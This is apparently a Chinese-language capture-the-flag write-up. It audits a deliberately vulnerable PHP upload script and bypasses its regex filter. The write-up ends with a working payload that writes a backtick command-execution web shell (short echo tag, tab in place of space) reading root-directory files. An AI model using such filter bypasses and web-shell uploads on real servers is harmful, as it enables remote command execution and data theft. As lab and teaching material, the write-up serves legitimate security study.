打開即是源碼,那就直接開審吧
<?php error_reporting(0); highlight_file(__FILE__); function check($input){ if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){ // if(preg_match("/'| |_|=|php/",$input)){ die('hacker!!!'); }else{ return $input; } } function waf($input){ if(is_array($input)){ foreach($input as $key=>$output){ $input[$key] = waf($output); } }else{ $input = check($input); } } $dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/'; if(!file_exists($dir)){ mkdir($dir); } switch($_GET["action"] ?? "") { case 'pwd': echo $dir; break; case 'upload': $data = $_GET["data"] ?? ""; waf($data); file_put_contents("$dir" . "index.php", $data); } ?>
可以看到,action為pwd時,會打印當前的目錄路徑;action為upload時,會上傳數據到目錄路徑下的index.php中,並且會對上傳的數據進行檢查
在check函數中可以看到,輸入的數據不可以包含 ‘ ’,'_', 'php', 'eval', '{', '}' 沒過濾反引號,欸嘿,突破口找到了
先看看當前文件路徑
?action=pwd
PHP過濾的各種繞過姿勢,可以參考:https://xz.aliyun.com/t/8107#toc-11
想要繞過check函數寫shell,過濾了空格‘ ’可以用 \t 代替,過濾了'php'可以用短標簽<?=?>代替,相當於<? echo>;
過濾了‘_’可以用<?=``?>代替,反引號在php中有執行命令的效果
利用通配符 '*' 模糊搜索目錄下的文件
shell:
?action=upload&data=<?=`cat\t/*`?>
寫入后直接訪問路徑下的index.php便會執行我們upload的php命令語句,最終會執行<?=`cat /*`?>,讀取目錄下包含flag的文件